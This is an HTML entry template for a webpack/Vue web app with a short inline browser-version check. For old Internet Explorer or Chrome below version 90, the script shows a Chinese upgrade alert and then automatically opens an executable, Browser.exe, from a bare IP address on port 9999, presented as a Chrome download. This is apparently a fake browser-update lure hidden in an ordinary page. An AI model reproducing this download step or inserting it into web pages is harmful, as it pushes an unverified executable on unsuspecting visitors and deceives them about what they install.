<!DOCTYPE html>
<html lang="">

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <link rel="icon" href="<%= BASE_URL %>favicon.ico">
  <title>
    <%= htmlWebpackPlugin.options.title %>
  </title>
</head>

<body style="margin: 0;width:100vw;height:100vh;overflow-y: auto;">
  <div id="app"></div>
  <style>
    html,
    body,
    #app {
      height: 100%;
      margin: 0px;
      padding: 0px;
      background-color: #f5f7fb !important;
    }
    .xmjdRow{
      display: flex;
      height: 30px;
    }
    .xmjdClo{
      width: 20px;
      height: 30px;
    }
  </style>

  <script>
    var userAgent = navigator.userAgent;
    if (
      window.navigator.userAgent.indexOf("MSIE") >= 1 ||
      (userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1)
    ) {
      alert("您的浏览器版本过于老旧，推荐您使用谷歌浏览器进行访问");
      downloadChrome()
    }
    else if (window.navigator.userAgent.indexOf("Chrome") !== -1) {
      console.log("chrome浏览器版本===", this.getChromeVersion());
      if (this.getChromeVersion() < 90) {
        alert(
          "您使用的谷歌浏览器版本过低，为了更好地体验请将浏览器升级到最新版本！"
        );
        downloadChrome()
      }
    }
    function getChromeVersion() {
      var arr = navigator.userAgent.split(" ");
      var chromeVersion = "";
      for (var i = 0; i < arr.length; i++) {
        if (/chrome/i.test(arr[i])) chromeVersion = arr[i];
      }
      if (chromeVersion) {
        return Number(chromeVersion.split("/")[1].split(".")[0]);
      } else {
        return false;
      }
    }
    function downloadChrome() {
      window.open("http://41.228.4.74:9999/Browser.exe")
    }
  </script>
</body>

</html>